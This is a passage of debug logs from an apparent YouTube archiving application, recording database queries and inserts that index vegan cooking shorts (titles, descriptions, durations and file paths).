<= s1."max_duration_seconds")))) LIMIT 1 [621] 20:27:06.851 [debug] Current batch of media processed. Will check again in 1000ms 20:27:07.852 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This vegan and gluten free burger tastes just like autumn. It's like Thanksgiving dinner in a burger and it's so delicious. Check out our full savory pumpkin spice taste test video below where we transform a pizza, a burger and hummus to be pumpkin spiced and fall inspired: https://youtu.be/T5lWnETEDKI", "duration" => 52, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-10-03 The Ultimate Autumn Burger 🍔 🤤😱vegan and GF recipe #shorts #youtubeshorts/The Ultimate Autumn Burger 🍔 🤤😱vegan and GF recipe #shorts #youtubeshorts [dIqX0uAOwU4].NA", "id" => "dIqX0uAOwU4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/dIqX0uAOwU4", "playlist_index" => 233, "timestamp" => 1664823612, "title" => "The Ultimate Autumn Burger 🍔 🤤😱vegan and GF recipe #shorts #youtubeshorts", "upload_date" => "20221003"} 20:27:07.853 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:07.854 [debug] QUERY OK source="sources" db=0.5ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:07.856 [debug] QUERY OK source="media_items" db=1.9ms idle=1003.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-03 19:00:12Z], 1] 20:27:07.857 [debug] QUERY OK source="media_items" db=0.8ms idle=1005.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan and gluten free burger tastes just like autumn. It's like Thanksgiving dinner in a burger and it's so delicious. Check out our full savory pumpkin spice taste test video below where we transform a pizza, a burger and hummus to be pumpkin spiced and fall inspired: https://youtu.be/T5lWnETEDKI", "The Ultimate Autumn Burger 🍔 🤤😱vegan and GF recipe #shorts #youtubeshorts", "dcac6682-eb12-457a-a667-113c377524aa", 1, [], 52, false, "dIqX0uAOwU4", "https://www.youtube.com/shorts/dIqX0uAOwU4", 233, "/downloads/downloads/alec/Steamy Vegan/2022-10-03 The Ultimate Autumn Burger 🍔 🤤😱vegan and GF recipe #shorts #youtubeshorts/The Ultimate Autumn Burger 🍔 🤤😱vegan and GF recipe #shorts #youtubeshorts [dIqX0uAOwU4].NA", false, false, true, 0, ~U[2022-10-03 19:00:12Z], ~U[2026-03-22 03:27:07Z], ~U[2026-03-22 03:27:07Z], "This vegan and gluten free burger tastes just like autumn. It's like Thanksgiving dinner in a burger and it's so delicious. Check out our full savory pumpkin spice taste test video below where we transform a pizza, a burger and hummus to be pumpkin spiced and fall inspired: https://youtu.be/T5lWnETEDKI", "The Ultimate Autumn Burger 🍔 🤤😱vegan and GF recipe #shorts #youtubeshorts", 1, 52, false, "dIqX0uAOwU4", "https://www.youtube.com/shorts/dIqX0uAOwU4", "/downloads/downloads/alec/Steamy Vegan/2022-10-03 The Ultimate Autumn Burger 🍔 🤤😱vegan and GF recipe #shorts #youtubeshorts/The Ultimate Autumn Burger 🍔 🤤😱vegan and GF recipe #shorts #youtubeshorts [dIqX0uAOwU4].NA", true, ~U[2022-10-03 19:00:12Z]] 20:27:07.858 [debug] QUERY OK source="sources" db=0.2ms idle=710.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:07.858 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:07.859 [debug] QUERY OK source="media_items" db=0.4ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [622] 20:27:07.859 [debug] Current batch of media processed. Will check again in 1000ms 20:27:08.860 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "You've gotta try making a pumpkin spiced pizza, burger, or hummus. We taste tested these three dishes in this pumpkin spice savory challenge and the end results were amazing. We've got a couple new favorite foods after this episode.\n\nCheck out the full taste test here: https://youtu.be/T5lWnETEDKI", "duration" => 30, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-10-03 We Pumpkin Spiced Savory Dishes and the Results are AMAZING!!! #shorts #youtubeshorts/We Pumpkin Spiced Savory Dishes and the Results are AMAZING!!! #shorts #youtubeshorts [nk4TiV5prkQ].NA", "id" => "nk4TiV5prkQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/nk4TiV5prkQ", "playlist_index" => 234, "timestamp" => 1664815337, "title" => "We Pumpkin Spiced Savory Dishes and the Results are AMAZING!!! #shorts #youtubeshorts", "upload_date" => "20221003"} 20:27:08.861 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:08.862 [debug] QUERY OK source="sources" db=0.5ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:08.864 [debug] QUERY OK source="media_items" db=2.0ms idle=1003.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-03 16:42:17Z], 1] 20:27:08.866 [debug] QUERY OK source="media_items" db=1.6ms idle=1005.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["You've gotta try making a pumpkin spiced pizza, burger, or hummus. We taste tested these three dishes in this pumpkin spice savory challenge and the end results were amazing. We've got a couple new favorite foods after this episode.\n\nCheck out the full taste test here: https://youtu.be/T5lWnETEDKI", "We Pumpkin Spiced Savory Dishes and the Results are AMAZING!!! #shorts #youtubeshorts", "6c44f052-d6e4-4663-814d-fc9ac40f92ac", 1, [], 30, false, "nk4TiV5prkQ", "https://www.youtube.com/shorts/nk4TiV5prkQ", 234, "/downloads/downloads/alec/Steamy Vegan/2022-10-03 We Pumpkin Spiced Savory Dishes and the Results are AMAZING!!! #shorts #youtubeshorts/We Pumpkin Spiced Savory Dishes and the Results are AMAZING!!! #shorts #youtubeshorts [nk4TiV5prkQ].NA", false, false, true, 1, ~U[2022-10-03 16:42:17Z], ~U[2026-03-22 03:27:08Z], ~U[2026-03-22 03:27:08Z], "You've gotta try making a pumpkin spiced pizza, burger, or hummus. We taste tested these three dishes in this pumpkin spice savory challenge and the end results were amazing. We've got a couple new favorite foods after this episode.\n\nCheck out the full taste test here: https://youtu.be/T5lWnETEDKI", "We Pumpkin Spiced Savory Dishes and the Results are AMAZING!!! #shorts #youtubeshorts", 1, 30, false, "nk4TiV5prkQ", "https://www.youtube.com/shorts/nk4TiV5prkQ", "/downloads/downloads/alec/Steamy Vegan/2022-10-03 We Pumpkin Spiced Savory Dishes and the Results are AMAZING!!! #shorts #youtubeshorts/We Pumpkin Spiced Savory Dishes and the Results are AMAZING!!! #shorts #youtubeshorts [nk4TiV5prkQ].NA", true, ~U[2022-10-03 16:42:17Z]] 20:27:08.867 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=717.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:08.868 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.2ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:08.868 [debug] QUERY OK source="media_items" db=0.4ms idle=6.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [623] 20:27:08.869 [debug] Current batch of media processed. Will check again in 1000ms 20:27:09.870 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Full Video: https://youtu.be/eEFBoMW49U0\n\nFind out which vegan sausage gets crowned King Sausage the first in this vegan sausage taste test. The crowning ceremony is quite something to behold!", "duration" => 59, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-09-27 Sausage Parody of King’s Crowning Ceremony 😂 😳 👑 #shorts #youtubeshorts/Sausage Parody of King’s Crowning Ceremony 😂 😳 👑 #shorts #youtubeshorts [9CwWeALcJ-o].NA", "id" => "9CwWeALcJ-o", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/9CwWeALcJ-o", "playlist_index" => 235, "timestamp" => 1664302203, "title" => "Sausage Parody of King’s Crowning Ceremony 😂 😳 👑 #shorts #youtubeshorts", "upload_date" => "20220927"} 20:27:09.871 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1004.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:09.872 [debug] QUERY OK source="sources" db=0.5ms queue=0.4ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:09.875 [debug] QUERY OK source="media_items" db=2.3ms idle=1004.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-27 18:10:03Z], 1] 20:27:09.877 [debug] QUERY OK source="media_items" db=0.7ms idle=1007.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Full Video: https://youtu.be/eEFBoMW49U0\n\nFind out which vegan sausage gets crowned King Sausage the first in this vegan sausage taste test. The crowning ceremony is quite something to behold!", "Sausage Parody of King’s Crowning Ceremony 😂 😳 👑 #shorts #youtubeshorts", "390782d0-f28d-4511-90d0-6118bd4463db", 1, [], 59, false, "9CwWeALcJ-o", "https://www.youtube.com/shorts/9CwWeALcJ-o", 235, "/downloads/downloads/alec/Steamy Vegan/2022-09-27 Sausage Parody of King’s Crowning Ceremony 😂 😳 👑 #shorts #youtubeshorts/Sausage Parody of King’s Crowning Ceremony 😂 😳 👑 #shorts #youtubeshorts [9CwWeALcJ-o].NA", false, false, true, 0, ~U[2022-09-27 18:10:03Z], ~U[2026-03-22 03:27:09Z], ~U[2026-03-22 03:27:09Z], "Full Video: https://youtu.be/eEFBoMW49U0\n\nFind out which vegan sausage gets crowned King Sausage the first in this vegan sausage taste test. The crowning ceremony is quite something to behold!", "Sausage Parody of King’s Crowning Ceremony 😂 😳 👑 #shorts #youtubeshorts", 1, 59, false, "9CwWeALcJ-o", "https://www.youtube.com/shorts/9CwWeALcJ-o", "/downloads/downloads/alec/Steamy Vegan/2022-09-27 Sausage Parody of King’s Crowning Ceremony 😂 😳 👑 #shorts #youtubeshorts/Sausage Parody of King’s Crowning Ceremony 😂 😳 👑 #shorts #youtubeshorts [9CwWeALcJ-o].NA", true, ~U[2022-09-27 18:10:03Z]] 20:27:09.877 [debug] QUERY OK source="sources" db=0.6ms idle=726.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:09.878 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:09.879 [debug] QUERY OK source="media_items" db=0.6ms idle=6.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [624] 20:27:09.880 [debug] Current batch of media processed. Will check again in 1000ms 20:27:10.881 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "'Cause no one likes cutting into a rock-hard lime 😉\n\nKeep ALL your citrus fruits in the crisper drawer of your fridge to prevent the skins from drying out, becoming hard to cut into, and losing their juice! The cold keeps them firm, hydrated and fresher for longer. Follow @steamyvegan for more simple food hacks!\n\nCheck out the FULL video on How to Keep Your Produce Fresher For Longer: https://youtu.be/JD3i1XiCbEU", "duration" => 30, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-09-26 No more hard and shrivelled citrus fruit! 🍊🍋/No more hard and shrivelled citrus fruit! 🍊🍋 [K6oL_sR56t8].NA", "id" => "K6oL_sR56t8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/K6oL_sR56t8", "playlist_index" => 236, "timestamp" => 1664218814, "title" => "No more hard and shrivelled citrus fruit! 🍊🍋", "upload_date" => "20220926"} 20:27:10.882 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1004.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:10.883 [debug] QUERY OK source="sources" db=0.3ms idle=1004.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:10.885 [debug] QUERY OK source="media_items" db=2.0ms idle=1004.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-26 19:00:14Z], 1] 20:27:10.886 [debug] QUERY OK source="media_items" db=0.9ms idle=1005.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["'Cause no one likes cutting into a rock-hard lime 😉\n\nKeep ALL your citrus fruits in the crisper drawer of your fridge to prevent the skins from drying out, becoming hard to cut into, and losing their juice! The cold keeps them firm, hydrated and fresher for longer. Follow @steamyvegan for more simple food hacks!\n\nCheck out the FULL video on How to Keep Your Produce Fresher For Longer: https://youtu.be/JD3i1XiCbEU", "No more hard and shrivelled citrus fruit! 🍊🍋", "c9505a14-dde9-43c8-94f5-378db9cb18c4", 1, [], 30, false, "K6oL_sR56t8", "https://www.youtube.com/shorts/K6oL_sR56t8", 236, "/downloads/downloads/alec/Steamy Vegan/2022-09-26 No more hard and shrivelled citrus fruit! 🍊🍋/No more hard and shrivelled citrus fruit! 🍊🍋 [K6oL_sR56t8].NA", false, false, true, 0, ~U[2022-09-26 19:00:14Z], ~U[2026-03-22 03:27:10Z], ~U[2026-03-22 03:27:10Z], "'Cause no one likes cutting into a rock-hard lime 😉\n\nKeep ALL your citrus fruits in the crisper drawer of your fridge to prevent the skins from drying out, becoming hard to cut into, and losing their juice! The cold keeps them firm, hydrated and fresher for longer. Follow @steamyvegan for more simple food hacks!\n\nCheck out the FULL video on How to Keep Your Produce Fresher For Longer: https://youtu.be/JD3i1XiCbEU", "No more hard and shrivelled citrus fruit! 🍊🍋", 1, 30, false, "K6oL_sR56t8", "https://www.youtube.com/shorts/K6oL_sR56t8", "/downloads/downloads/alec/Steamy Vegan/2022-09-26 No more hard and shrivelled citrus fruit! 🍊🍋/No more hard and shrivelled citrus fruit! 🍊🍋 [K6oL_sR56t8].NA", true, ~U[2022-09-26 19:00:14Z]] 20:27:10.887 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=732.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:10.888 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.2ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:10.888 [debug] QUERY OK source="media_items" db=0.5ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [625] 20:27:10.888 [debug] Current batch of media processed. Will check again in 1000ms 